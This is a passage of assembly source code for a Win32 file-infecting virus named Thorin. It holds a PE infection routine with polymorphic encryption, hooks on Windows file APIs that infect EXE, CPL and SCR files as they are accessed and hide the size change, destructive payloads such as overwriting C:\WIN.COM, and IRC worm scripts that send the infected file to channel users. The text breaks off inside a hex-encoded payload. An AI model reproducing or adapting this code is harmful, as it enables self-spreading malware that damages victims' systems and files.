mov [edi+50h],eax and dword ptr [edi+0A0h],00h ; Nulify the relocs, so they and dword ptr [edi+0A4h],00h ; won't fuck us :) or dword ptr [esi+24h],section_flags ; Set new section attributes mov dword ptr [edi+mark],ddInfMark ; Mark infected files push dword ptr [ebp+WFD_nFileSizeLow] pop dword ptr [edi+orig_size] ; Store orig. size for stealth push dword ptr [edi+3Ch] push dword ptr [ebp+infections] and dword ptr [ebp+infections],00h ; Some RDA stuff push edi esi edx ; Save ESI and EDI for later lea esi,[ebp+crypto] mov edi,encrypt_size call CRC32 ; Obtain virus CRC32 pop edx esi edi mov dword ptr [ebp+CRC],eax ; Store it push edx apicall _GetTickCount ; Get a random number as seed xchg ebx,eax ; for RDA encryption pop edx ; Append virus & RDA encryption mov edi,dword ptr [ebp+MapAddress] ; Write non crypted part add edi,edx push edi lea esi,[ebp+virus_start] mov ecx,non_crypt_size cld rep movsb mov ecx,encrypt_size ; Encrypt and copy the rest cryptl: lodsb xor al,bl stosb loop cryptl pop edi ; Poly decryptor generation lea eax,[ebp+random_seed] ; Get a slow seed for poly push eax apicall _GetSystemTime mov eax,poly_virus_size ; Obtain exactly a reliable mov ecx,4 ; value of virus_size divided call Align ; by 4 shr eax,2 xchg eax,ecx mov esi,edi add esi,LIMIT call THME ; generate the poly decryptor pop dword ptr [ebp+infections] mov eax,edi ; Trunc file sub eax,dword ptr [ebp+MapAddress] pop ecx call Align xchg eax,ecx call TruncFile jmp UnMapFile NoInfect: stc dec byte ptr [ebp+infections] ; Shit, if we are here, mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; something failed :( call TruncFile UnMapFile: push dword ptr [ebp+MapAddress] ; Close map view of file apicall _UnmapViewOfFile CloseMap: push dword ptr [ebp+MapHandle] ; Close map handle apicall _CloseHandle CloseFile: push dword ptr [ebp+FileHandle] ; Close file handle apicall _CloseHandle CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] ; Restore old attributes push eax apicall _SetFileAttributesA ret db 0,"[Welcome to the Middle-Earth, my dear friend]",0 ; =========================================================================== ; Tiny method for get KERNEL32 base address ; =========================================================================== ; ; input: ; ESI = Program return address ; ECX = Limit of pages where search ; output: ; EAX = Base address of KERNEL32.dll ; GetK32 proc ; My own little GetK32 :) and esi,0FFFF0000h _@1: jecxz WeFailed ; Thanx to Super for the idea cmp word ptr [esi],"ZM" ; and Qozah for notifying me jz CheckPE ; a little error (Thnx man!) _@2: sub esi,10000h dec ecx jmp _@1 CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp _@2 WeFailed: cmp byte ptr [ebp+inNT],00h ; Otherwise, hardcode to the jz W9X ; proper OS. mov esi,kernel_wNT ; NT = 77F00000h jmp WeGotK32 W9X: mov esi,kernel_ ; 9X = BFF70000h WeGotK32: xchg eax,esi ret GetK32 endp ; =========================================================================== ; Retrieve API addresses (from Export Table) ; =========================================================================== ; ; input: ; EDI = Pointer to where you want the first API Address ; ESI = Pointer to the first API Name ; output: ; Nothing. ; GetAPIs proc @@1: push esi push edi call GetAPI_ET pop edi pop esi stosd xchg edi,esi xor al,al @@2: scasb jnz @@2 xchg edi,esi @@3: cmp byte ptr [esi],0BBh jz @@4 jmp @@1 @@4: ret GetAPIs endp ; =========================================================================== ; Retrieve API address (from Export Table) ; =========================================================================== ; ; input: ; ESI = Pointer to API Name ; output: ; EAX = API address ; GetAPI_ET proc mov edx,esi mov edi,esi xor al,al @_1: scasb jnz @_1 sub edi,esi ; EDI = API Name size mov ecx,edi xor eax,eax mov esi,3Ch rva2va esi,kernel lodsw rva2va eax,kernel mov esi,[eax+78h] add esi,1Ch rva2va esi,kernel lodsd rva2va eax,kernel mov dword ptr [ebp+AddressTableVA],eax lodsd rva2va eax,kernel push eax ; mov [NameTableVA],eax =) lodsd rva2va eax,kernel mov dword ptr [ebp+OrdinalTableVA],eax pop esi xor ebx,ebx @_3: push esi lodsd rva2va eax,kernel mov esi,eax mov edi,edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi add esi,4 inc ebx jmp @_3 @_4: pop esi xchg eax,ebx shl eax,1 add eax,dword ptr [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword ptr [ebp+AddressTableVA] xchg esi,eax lodsd rva2va eax,kernel ret GetAPI_ET endp ; =========================================================================== ; Retrieve API address (from Import Table) ; =========================================================================== ; ; input: ; EDI = Offset of API address to retrieve ; output: ; EAX = Address of the API ; EBX = Address of the API address in the import ; GetAPI_IT proc mov dword ptr [ebp+TempGA_IT1],edi mov ebx,edi xor al,al scasb jnz $-1 sub edi,ebx mov dword ptr [ebp+TempGA_IT2],edi xor eax,eax mov esi,dword ptr [ebp+imagebase] add esi,3Ch lodsw add eax,dword ptr [ebp+imagebase] xchg esi,eax lodsd cmp eax,"EP" jnz nopes add esi,7Ch lodsd push eax lodsd mov ecx,eax pop esi add esi,dword ptr [ebp+imagebase] SearchK32: push esi mov esi,[esi+0Ch] add esi,dword ptr [ebp+imagebase] lea edi,[ebp+K32_DLL] mov ecx,K32_Size cld push ecx rep cmpsb pop ecx pop esi jz gotcha add esi,14h jmp SearchK32 gotcha: cmp byte ptr [esi],00h jz nopes mov edx,[esi+10h] add edx,dword ptr [ebp+imagebase] lodsd jz nopes xchg edx,eax add edx,[ebp+imagebase] xor ebx,ebx loopy: cmp dword ptr [edx+00h],00h jz nopes cmp byte ptr [edx+03h],80h jz reloop mov edi,dword ptr [ebp+TempGA_IT1] mov ecx,dword ptr [ebp+TempGA_IT2] mov esi,[edx] add esi,dword ptr [ebp+imagebase] add esi,2 push ecx rep cmpsb pop ecx jz wegotit reloop: inc ebx add edx,4 loop loopy wegotit: shl ebx,2 add ebx,eax mov eax,[ebx] db 0B1h nopes: stc ret GetAPI_IT endp ; =========================================================================== ; Payloads ; =========================================================================== ; White trash get down on your knees... and you'll get cake and sodomy! payload proc apicall _GetTickCount ; Get a random payload and eax,payload_number lea esi,[ebp+payload_table+eax*4] lodsd add eax,ebp call eax ; Call to it ret payload endp payload1 proc push 00000000h ; Mmm, a new win.com :) push 00000080h push 00000002h push 00000000h push 00000001h push 40000000h call ___ db "C:\WIN.COM",0 ___: apicall _CreateFileA push eax push 00000000h lea ebx,[ebp+iobytes] push ebx push p_size lea ebx,[ebp+payl0ad] push ebx push eax apicall _WriteFile apicall _CloseHandle ret payload1 endp payload2 proc call __ db "THORIN",0 ; HD Name is... THORIN :) __: push 00000000h apicall _SetVolumeLabelA ret payload2 endp payload3 proc push 00000001h apicall _SwapMouseButton ; Left is right, right is left ret payload3 endp payload4 proc push 00001010h ; Display message lea eax,[ebp+vname] push eax call _2 ; Stupid message to annoy user... panic ain't good, but... what is good? ;) db "Thorin... Thorin... Thorin... Thorin... Thorin...",13,13 db "I am Thorin, son of Thrain, son of Thror",13 db "and your computer is mine... mwahahahahaha!",13 db "I will give you... the death you deserve!",13,13 db "...Thorin ...Thorin ...Thorin ...Thorin ...Thorin",0 _2: push 00000000h apicall _MessageBoxA payload4 endp payload5 proc lea ebx,[ebp+szSHELL32] push ebx apicall _LoadLibraryA ; Get SHELL32 base address lea ecx,[ebp+@ShellExecuteA] push ecx push eax apicall _GetProcAddress ; Get ShellExecuteA address xor ebx,ebx push ebx push ebx push ebx lea ecx,[ebp+szMicro$oft] push ecx lea ecx,[ebp+szOPEN] push ecx push ebx call eax ; Open Micro$oft web ret payload5 endp ; =========================================================================== ; Some miscellaneous functions ; =========================================================================== ; ALIGN ; ; input: ; EAX = Number to align ; ECX = Alignment factor ; output: ; EAX = Aligned number ; Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp ; TRUNCFILE ; ; input: ; ECX = Where trunc file ; output: ; Nothing. ; TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] apicall _SetFilePointer push dword ptr [ebp+FileHandle] apicall _SetEndOfFile ret TruncFile endp ; OPENFILE ; ; input: ; ESI = Pointer to file ; output: ; EAX = Handle (if succesful) / -1 (if failed) ; OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 40000000h or 80000000h push esi apicall _CreateFileA ret OpenFile endp ; CREATEMAP ; ; input: ; ECX = Size to map ; output: ; EAX = Handle (if succesful) / 0 (if failed) ; CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] apicall _CreateFileMappingA ret CreateMap endp ; MAPFILE ; ; input: ; ECX = Size to map ; output: ; EAX = Handle (if succesful) / 0 (if failed) MapFile proc xor eax,eax push ecx push eax push eax push 000F001Fh push dword ptr [ebp+MapHandle] apicall _MapViewOfFile ret MapFile endp ; REGEXIST ; ; input: ; ESI = Pointer to key name ; output: ; CF = Set to 1 if it exist, to 0 if it doesn't ; RegExist proc lea eax,[ebp+RegHandle] push eax push 000F003Fh push 00000000h push esi push 80000001h apicall _RegOpenKeyExA cmp eax,2 jz RegExistExitCF0 push dword ptr [ebp+RegHandle] apicall _CloseHandle stc ret RegExistExitCF0: clc ret RegExist endp ; PUTREG ; ; input: ; ESI = Pointer to key name ; output: ; Nothing. ; PutReg proc lea eax,[ebp+Disposition] push eax lea eax,[ebp+RegHandle] push eax xor eax,eax push eax push 000F003Fh push eax push eax push eax push esi push 80000001h apicall _RegCreateKeyExA push dword ptr [ebp+RegHandle] apicall _CloseHandle ret PutReg endp ; DELREG ; ; input: ; ESI = Pointer to key name ; output: ; Nothing. ; DelReg proc push esi push 80000001h apicall _RegDeleteKeyA ret DelReg endp ; TERMINATEPROC ; ; input: ; EDI = Pointer to the name of the window of the process we wanna kill ; output: ; CF = Set to 1 if it wasn't found or killed, to 0 if it was killed ; TerminateProc proc xor ebx,ebx ; Thnx 2 Bennyg0d :) push edi push ebx apicall _FindWindowA xchg eax,ecx jecxz TP_ErrorExit push ebx push ebx push 00000012h push ecx apicall _PostMessageA mov cl,00h org $-1 TP_ErrorExit: stc ret TerminateProc endp ; GETLASTSECTION ; ; input: ; ESI = Pointer to PE header ; output: ; ESI = Pointer to last section ; EDI = Pointer to PE header ; GetLastSection proc mov edi,esi movzx eax,word ptr [edi+06h] ; Get ptr to last section dec eax imul eax,eax,28h ; C'mon, feel the noise... add esi,eax add esi,78h mov edx,[edi+74h] shl edx,03h add esi,edx ret GetLastSection endp ; =========================================================================== ; Get Delta Offset ; =========================================================================== ; ; input: ; Nothing. ; output: ; ECX = Delta Offset ; GetDeltaOffset proc call getitright ; Oh! What is this? Incredible! getitright: pop ebp sub ebp,offset getitright ret GetDeltaOffset endp ; =========================================================================== ; Dropper unpacker (25 bytes) <<->> [LSCE] - Little Shitty Compression Engine ; =========================================================================== ; ; ÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ; Û Û Û ÜÜÜÜÛ Û ÜÜÜÜÛ Û ÜÜÜÜÛ The Little and Shitty Compression Engine ; Û ÛÜÜÜÜ ÛÜÜÜÜ Û Û ÛÜÜÜÜ Û ÜÜÜÛÜ Poorly coded and written by... ; ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ Who cares? :) Well... by me. Any problem? ; ; This is a very simple packing engine, based in the repetition of zeros that ; the PE files have, thus it is able to compress a PE file... Hehehe, i can ; put a dropper without caring about its space! That was the only reason of ; make this little shit. Maybe one day i will make a 'real' compression engi- ; ne, but today i'm too busy :) ; ; input: ; EDI = Offset where unpack ; ESI = Data to unpack ; ECX = Size of packed data ; output: ; Nothing. ; LSCE_UnPack proc xor eax,eax ; 2 bytes Hehehe, i process_byte: ; think i'm lodsb ; 1 byte turning a or al,al ; 2 bytes little bit jnz store_byte ; 2 bytes paranoid... dec ecx ; 1 byte dec ecx ; 1 byte lodsw ; 2 bytes push ecx ; 1 byte xor ecx,ecx ; 2 bytes xchg eax,ecx ; 1 byte rep stosb ; 2 bytes pop ecx ; 1 byte loop process_byte ; 2 bytes jecxz all_unpacked ; 2 bytes store_byte: stosb ; 1 byte loop process_byte ; 2 bytes all_unpacked: ret ; 2 bytes LSCE_UnPack endp ; =========================================================================== ; Hook all the possible APIs, of host IT ; =========================================================================== HookAllAPIs: mov eax,dword ptr [ebp+ModBase] ; file modbase=file imagebase mov dword ptr [ebp+imagebase],eax lea edi,[ebp+@@Hookz] ; Ptr to the first API nxtapi: push edi call GetAPI_IT ; Get it from Import Table pop edi jc Next_IT_Struc_ ; Fail? Damn... xor al,al ; Reach the end of API string scasb jnz $-1 mov eax,[edi] ; All must be in its place :) add eax,ebp mov [ebx],eax Next_IT_Struc: add edi,4 cmp byte ptr [edi],"" ; Reach the last api? Grrr... jz AllHooked jmp nxtapi AllHooked: ret Next_IT_Struc_: xor al,al scasb jnz $-1 jmp Next_IT_Struc ; A bard was our savior! db 0,"[Glory to the Bards!]",0 ; =========================================================================== ; Hooks' code ; =========================================================================== HookMoveFileA: call DoHookStuff jmp [eax+_MoveFileA] HookCopyFileA: call DoHookStuff jmp [eax+_CopyFileA] HookGetFullPathNameA: call DoHookStuff jmp [eax+_GetFullPathNameA] HookDeleteFileA: call DoHookStuff jmp [eax+_DeleteFileA] HookWinExec: call DoHookStuff jmp [eax+_WinExec] HookCreateFileA: call DoHookStuff jmp [eax+_CreateFileA] HookCreateProcessA: call DoHookStuff jmp [eax+_CreateProcessA] HookGetFileAttributesA: call DoHookStuff jmp [eax+_GetFileAttributesA] HookFindFirstFileA: pushad ; Save all reggies call GetDeltaOffset ; EBP = Delta Offset mov eax,[esp+20h] ; EAX = Return Address mov dword ptr [ebp+FFRetAddress],eax mov eax,[esp+28h] ; EAX = Ptr to WFD mov dword ptr [ebp+FF_WFD],eax mov [esp.PUSHAD_EAX],ebp popad add esp,4 ; Remove this ret address from ; stack call [eax+_FindFirstFileA] ; Call original API test eax,eax ; Fail? Shit... jz FF_GoAway pushad ; Save reggies and flaggies pushfd call GetDeltaOffset ; Delta again movzx ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers mov edx,[ebp+WFD_HndInMem] ; Our Handle table in mem mov esi,12345678h ; Ptr to filename FF_WFD equ $-4 add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA) cmp ebx,n_Handles ; Over max hnd storing? jae AvoidStoring ; Shit... ; WFD_Handles structure ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; +00h WFD Handle ; +04h Address of its WIN32_FIND_DATA mov dword ptr [edx+ebx*8],eax ; Store Handle mov dword ptr [edx+ebx*8+4],esi ; Store WFD offset inc byte ptr [ebp+WFD_Handles_Count] AvoidStoring: push esi call Check4ValidFile ; Is a reliable file 4 inf? pop edi jc FF_AvoidInfekt ; Duh! push edi call _Infection ; Infect it pop esi call Info4Stealth ; Get, if available, old file's ; size jc FF_AvoidInfekt mov ecx,dword ptr [ebp+FF_WFD] add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA) mov [ecx],eax ; Size stealth! FF_AvoidInfekt: popfd popad FF_GoAway: ; Return to caller push 12345678h FFRetAddress equ $-4 ret HookFindNextFileA: pushad ; Save all reggies call GetDeltaOffset ; Get delta offset mov eax,[esp+20h] ; EAX = Return address mov dword ptr [ebp+FNRetAddress],eax mov eax,[esp+24h] ; EAX = Search Handle mov dword ptr [ebp+FN_Hnd],eax mov [esp.PUSHAD_EAX],ebp popad add esp,4 call [eax+_FindNextFileA] ; Call original API or eax,eax ; Fail? Damn. jz FN_GoAway pushad ; Save regs and flags pushfd call GetDeltaOffset ; Get delta again mov eax,12345678h ; EAX = Search Handle FN_Hnd equ $-4 call Check4ValidHandle ; Is in our table? If yes, jc FN_AvoidInfekt ; infect. xchg esi,eax ; ESI = Pointer to WFD mov dword ptr [ebp+FN_FS],esi ; Save if for later add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA) push esi ; ESI = Ptr to filename call Check4ValidFile ; Is reliable its inf.? pop edi jc FN_AvoidInfekt ; Duh... push edi call _Infection ; Infect it ! pop esi call Info4Stealth ; Retrieve info for possible ; stealth... jc FN_AvoidInfekt mov ecx,12345678h FN_FS equ $-4 add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA) mov [ecx],eax ; Size Stealth, dude! FN_AvoidInfekt: popfd ; Restore flags & regs popad FN_GoAway: ; Return to caller push 12345678h FNRetAddress equ $-4 ret HookGetProcAddress: pushad ; Save all the registers call GetDeltaOffset ; EBP = Delta Offset mov eax,[esp+24h] ; EAX = Base address of module cmp eax,dword ptr [ebp+kernel] ; Is EAX=K32? jnz OriginalGPA ; If not, it's not our problem mov [esp.PUSHAD_EAX],ebp popad pop dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe place call [eax+_GetProcAddress] ; Call original API or eax,eax ; Fail? Duh! jz HGPA_SeeYa pushad xchg eax,ebx ; EBX = Address of function call GetDeltaOffset ; EBP = Delta offset mov ecx,n_HookedAPIs ; ECX = Number of hooked apis lea esi,[ebp+@@HookedOffsetz] ; ESI = Ptr to array of API ; addresses xor edx,edx ; EDX = Counter (set to 0) HGPA_IsHookableAPI?: lodsd ; EAX = API from array cmp ebx,eax ; Is equal to requested address? jz HGPA_IndeedItIs ; If yes, it's interesting 4 us inc edx ; Increase counter loop HGPA_IsHookableAPI? ; Search loop jmp OriginalGPAx HGPA_IndeedItIs: lea edi,[ebp+@@Hookz] ; EDI = Ptr to hooked API strings xor ebx,ebx ; EBX = New counter HGPA_AndWhatAPI?: cmp edx,ebx ; We want EBX = EDX jz HGPA_ThisAPI xor al,al ; Travel trough the Hooks scasb ; structure jnz $-1 add edi,4 inc ebx jmp HGPA_AndWhatAPI? HGPA_ThisAPI: xor al,al ; EDI = Points to requested scasb ; api string jnz $-1 mov eax,[edi] ; Get its offset add eax,ebp ; Adjust it to delta mov [esp.PUSHAD_EAX],eax popad HGPA_SeeYa: push 12345678h HGPA_RetAddress equ $-4 ret OriginalGPAx: mov [esp.PUSHAD_EAX],ebp popad push dword ptr [eax+HGPA_RetAddress] jmp [eax+_GetProcAddress] OriginalGPA: mov [esp.PUSHAD_EAX],ebp popad jmp [eax+_GetProcAddress] ; =========================================================================== ; Hooked "standard" APIs handler ; =========================================================================== DoHookStuff: pushad pushfd call GetDeltaOffset mov edx,[esp+2Ch] ; Get filename to infect mov esi,edx call Check4ValidFile jc ErrorDoHookStuff InfectWithHookStuff: xchg edi,edx call _Infection ErrorDoHookStuff: popfd ; Preserve all as if nothing popad ; happened :) push ebp call GetDeltaOffset ; Get delta offset xchg eax,ebp pop ebp ret ; =========================================================================== ; Retrieve information for size-stealth ; =========================================================================== ; ; input: ; ESI = Pointer to file name ; output: ; EAX = Old Size (Stored at PE Header+44h) ; CF = Set to 1 if error (file not infected, I/O, etc) ; Info4Stealth: and byte ptr [ebp+CoolFlag],00h ; Flag to 0 call OpenFile ; Open File cmp_ eax,I4S_Error mov dword ptr [ebp+FileHandle],eax ; Store its handler push 00000000h ; Get file's size push eax apicall _GetFileSize xchg eax,ecx push ecx ; Create its mapping call CreateMap pop ecx cmpz_ eax,I4S_Error_CloseFileHnd mov dword ptr [ebp+MapHandle],eax ; Save handler call MapFile ; Create a mapping view cmpz_ eax,I4S_Error_CloseMapHnd mov dword ptr [ebp+MapAddress],eax ; Store mapping address mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Is it PE? jnz I4S_Error_UnMapHnd push dword ptr [esi+orig_size] ; Get original's file size pop dword ptr [ebp+OldSize] ; And put it in a temp place inc byte ptr [ebp+CoolFlag] ; Set flag to 1 I4S_Error_UnMapHnd: push dword ptr [ebp+MapAddress] ; Close map view of file apicall _UnmapViewOfFile I4S_Error_CloseMapHnd: push dword ptr [ebp+MapHandle] ; Close map handle apicall _CloseHandle I4S_Error_CloseFileHnd: push dword ptr [ebp+FileHandle] ; Close file handle apicall _CloseHandle cmp byte ptr [ebp+CoolFlag],00h ; Were we able to open? If yes, jz I4S_Error ; leave stack clear... I4S_Successful: mov eax,12345678h OldSize equ $-4 mov cl,00h org $-1 I4S_Error: stc ret ; =========================================================================== ; Check if file infection is reliable ; =========================================================================== ; ; input: ; ESI = Pointer to file name ; output: ; CF = Set to 1 if it's reliable, to 0 if it isn't ; Check4ValidFile: lodsb or al,al ; Find NULL? Shit... jz C4VF_Error cmp al,"." ; Dot found? Interesting... jnz Check4ValidFile dec esi lodsd ; Put extension in EAX or eax,20202020h ; Make string locase not eax cmp eax,not "exe." ; Is it an EXE? Infect!!! jz C4VF_Successful cmp eax,not "lpc." ; Is it a CPL? Infect!!! jz C4VF_Successful cmp eax,not "rcs." ; Is is a SCR? Infect!!! jnz C4VF_Error C4VF_Successful: mov cl,00h org $-1 C4VF_Error: stc ret ; =========================================================================== ; Check if handle was stored previously ; =========================================================================== ; ; input: ; EAX = Handle ; output: ; EAX = WFD Offset of given handle ; EDX = Places what it occupies in WFD_Handles structure ; CF = Set to 1 if it's found, to 0 if it wasn't ; Check4ValidHandle: xor edx,edx mov edi,[ebp+WFD_HndInMem] C4VH_l00p: cmp edx,n_Handles ; Over limits? Shit... jae C4VH_Error cmp eax,[edx*8+edi] ; EAX = a handler stored in jz C4VH_Successful ; table inc edx ; Increase counter jmp C4VH_l00p C4VH_Successful: mov eax,[edx*8+edi+4] ; EAX = WFD Offset mov cl,00h org $-1 C4VH_Error: stc ret ; =========================================================================== ; mIRC worm ; =========================================================================== mIRCWorm db "[script]",10 db "n0=ON 1:JOIN:#: {/if ($nick==$me) { halt }",10 db "n1=/dcc send $nick c:\pr0n.exe",10 db "n2=}",10 db "n3=ON 1:TEXT:*pr0n*:#:/quit Win32.mIRC32.Thorin 1.00",10 db "n4=ON 1:TEXT:*virus*:#:/ignore -u666 $nick",10 db "n5=ON 1:CONNECT: {",10 db "n6=/msg Billy_Bel You are the g0d of fuck!",10 db "n7=}",10 mIRCWormSize equ ($-offset mIRCWorm) ; =========================================================================== ; PIRCH worm ; =========================================================================== PirchWorm db "[Levels]",10 db "Enabled=1",10 db "Count=1",10 db "Level1=ThorinWorm",10,10 db "[ThorinWorm]",10 db "User1=*!*@*",10 db "UserCount=1",10 db "Event1=;Thorin is here",10 db "Event2=ON JOIN:#:/dcc send $nick c:\pr0n.exe",10 db "Event3=;Win32.PIRCH32.Thorin 1.00",10 db "EventCount=3",10 PirchWormSize equ ($-offset PirchWorm) ; =========================================================================== ; ViRC97 worm ; =========================================================================== ViRC97Worm db "Name Win32.ViRC97.Thorin 1.00",10 db "// Events",10,10 db 'Event JOIN "* JOIN"',10 db " DCC Send $nick c:\pr0n.exe",10 db "EndEvent",10 ViRC97WormSize equ ($-offset ViRC97Worm) ; =========================================================================== ; Payload code ; =========================================================================== payl0ad label byte db 0B8h, 003h, 000h, 0CDh, 010h, 0BEh, 051h, 002h db 0E8h, 0F7h, 000h, 033h, 0C0h, 0CDh, 016h, 03Ch db 063h, 074h, 003h, 0E9h, 0C7h, 000h, 0BEh, 0BCh db 003h, 0E8h, 0E6h, 000h, 033h, 0C0h, 0CDh, 016h db 03Ch, 061h, 074h, 003h, 0E9h, 0B6h, 000h, 0BEh db 005h, 004h, 0E8h, 0D5h, 000h, 033h, 0C0h, 0CDh db 016h, 03Ch, 062h, 074h, 003h, 0E9h, 0A5h, 000h db 0E8h, 09Bh, 000h, 059h, 06Fh, 075h, 020h, 064h db 065h, 06Dh, 06Fh, 06Eh, 073h, 074h, 072h, 061h db 074h, 065h, 064h, 02Ch, 020h, 061h, 074h, 020h db 06Ch, 065h, 061h, 073h, 074h, 02Ch, 020h, 074h db 068h, 061h, 074h, 020h, 079h, 06Fh, 075h, 020h db 068h, 061h, 076h, 065h, 020h, 072h, 065h, 061h db 064h, 020h, 027h, 054h, 068h, 065h, 020h, 048h db 06Fh, 062h, 062h, 069h, 074h, 027h, 02Eh, 02Eh db 02Eh, 00Ah, 00Dh, 041h, 06Eh, 064h, 020h, 074h db 068h, 069h, 073h, 020h, 06Dh, 061h, 064h, 065h db 073h, 020h, 079h, 06Fh, 075h, 020h, 06Fh, 06Eh db 065h, 020h, 06Fh, 066h, 020h, 074h, 068h, 065h db 020h, 063h, 068h, 06Fh, 073h, 065h, 06Eh, 02Eh db 020h, 04Eh, 06Fh, 077h, 020h, 073h, 069h, 06Dh db 070h, 06Ch, 079h, 020h, 065h, 06Eh, 074h, 065h db 072h, 020h, 077h, 069h, 06Eh, 064h, 06Fh, 077h db 073h, 00Ah, 00Dh, 064h, 069h, 072h, 065h, 063h db 074h, 06Fh, 072h, 079h, 020h, 061h, 06Eh, 064h db 020h, 074h, 079h, 070h, 065h, 020h, 027h, 077h db 069h, 06Eh, 027h, 00Ah, 00Dh, 024h, 05Ah, 0B4h db 009h, 0CDh, 021h, 0CDh, 020h, 0E4h, 021h, 00Ch db 002h, 0E6h, 021h, 0E8h, 015h, 000h, 00Ah, 00Dh db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h db 061h, 020h, 06Ch, 06Fh, 073h, 065h, 072h, 02Eh db 02Eh, 02Eh, 024h, 05Ah, 0B4h, 009h, 0CDh, 021h db 0EBh, 0DBh, 0B4h, 00Eh, 0ACh, 00Ah, 0C0h, 074h db 007h, 0CDh, 010h, 0E8h, 003h, 000h, 0EBh, 0F4h db 0C3h, 050h, 053h, 051h, 052h, 0BAh, 040h, 001h db 0BBh, 000h, 002h, 0E4h, 061h, 024h, 0FCh, 034h db 002h, 0E6h, 061h, 081h, 0C2h, 048h, 092h, 0B1h db 003h, 0D3h, 0CAh, 08Bh, 0CAh, 081h, 0E1h, 0FFh db 001h, 083h, 0C9h, 00Ah, 0E2h, 0FEh, 04Bh, 075h db 0E6h, 024h, 0FCh, 0E6h, 061h, 0BBh, 001h, 000h db 032h, 0E4h, 0CDh, 01Ah, 003h, 0DAh, 0CDh, 01Ah db 03Bh, 0D3h, 075h, 0FAh, 05Ah, 059h, 05Bh, 058h db 0C3h, 048h, 069h, 021h, 020h, 049h, 027h, 06Dh db 020h, 054h, 068h, 06Fh, 072h, 069h, 06Eh, 02Ch db 020h, 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h db 054h, 068h, 072h, 061h, 069h, 06Eh, 02Ch, 020h db 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h, 054h db 068h, 072h, 06Fh, 072h, 02Eh, 02Eh, 02Eh, 00Ah db 00Dh, 049h, 020h, 06Fh, 077h, 06Eh, 020h, 079h db 06Fh, 075h, 072h, 020h, 063h, 06Fh, 06Dh, 070h db 075h, 074h, 065h, 072h, 020h, 073h, 069h, 06Eh db 063h, 065h, 020h, 073h, 06Fh, 06Dh, 065h, 020h db 074h, 069h, 06Dh, 065h, 020h, 061h, 067h, 06Fh db 02Ch, 020h, 062h, 075h, 074h, 020h, 069h, 027h db 076h, 065h, 020h, 062h, 065h, 065h, 06Eh, 00Ah db 00Dh, 069h, 06Eh, 020h, 073h, 069h, 06Ch, 065h db 06Eh, 063h, 065h, 020h, 073h, 069h, 06Eh, 063h db 065h, 020h, 06Eh, 06Fh, 077h, 02Eh, 02Eh, 02Eh db 020h, 049h, 020h, 068h, 061h, 076h, 065h, 06Eh db 027h, 074h, 020h, 06Eh, 06Fh, 074h, 068h, 069h db 06Eh, 067h, 020h, 061h, 067h, 061h, 069h, 06Eh db 069h, 073h, 074h, 020h, 070h, 065h, 06Fh, 070h db 06Ch, 065h, 020h, 069h, 06Eh, 00Ah, 00Dh, 067h db 065h, 06Eh, 065h, 072h, 061h, 06Ch, 02Ch, 020h db 062h, 075h, 074h, 020h, 069h, 020h, 068h, 061h db 074h, 065h, 020h, 074h, 068h, 065h, 020h, 069h db 06Eh, 063h, 075h, 06Ch, 074h, 020h, 070h, 065h db 06Fh, 070h, 06Ch, 065h, 02Eh, 020h, 050h, 06Ch db 065h, 061h, 073h, 065h, 020h, 061h, 06Eh, 073h db 077h, 065h, 072h, 020h, 06Dh, 065h, 020h, 063h db 06Fh, 072h, 072h, 065h, 063h, 074h, 06Ch, 079h db 00Ah, 00Dh, 00Ah, 00Dh, 031h, 02Eh, 020h, 049h db 06Eh, 020h, 077h, 068h, 061h, 074h, 020h, 062h db 06Fh, 06Fh, 06Bh, 020h, 069h, 020h, 061h, 070h db 070h, 065h, 061h, 072h, 020h, 061h, 073h, 020h db 06Fh, 06Eh, 065h, 020h, 06Fh, 066h, 020h, 074h db 068h, 065h, 020h, 06Dh, 061h, 069h, 06Eh, 020h db 063h, 068h, 061h, 072h, 061h, 063h, 074h, 065h db 072h, 073h, 03Fh, 00Ah, 00Dh, 020h, 05Bh, 061h db 05Dh, 020h, 054h, 068h, 065h, 020h, 04Ch, 06Fh db 072h, 064h, 020h, 04Fh, 066h, 020h, 054h, 068h db 065h, 020h, 052h, 069h, 06Eh, 067h, 073h, 00Ah db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 054h, 068h db 065h, 020h, 053h, 069h, 06Ch, 06Dh, 061h, 072h db 069h, 06Ch, 06Ch, 069h, 06Fh, 06Eh, 00Ah, 00Dh db 020h, 05Bh, 063h, 05Dh, 020h, 054h, 068h, 065h db 020h, 048h, 06Fh, 062h, 062h, 069h, 074h, 00Ah db 00Dh, 00Ah, 00Dh, 000h, 032h, 02Eh, 020h, 057h db 068h, 061h, 074h, 020h, 061h, 06Dh, 020h, 069h db 020h, 069h, 06Eh, 020h, 074h, 068h, 061h, 074h db 020h, 062h, 06Fh, 06Fh, 06Bh, 03Fh, 00Ah, 00Dh db 020h, 05Bh, 061h, 05Dh, 020h, 041h, 020h, 064h db 077h, 061h, 072h, 066h, 00Ah, 00Dh, 020h, 05Bh db 062h, 05Dh, 020h, 041h, 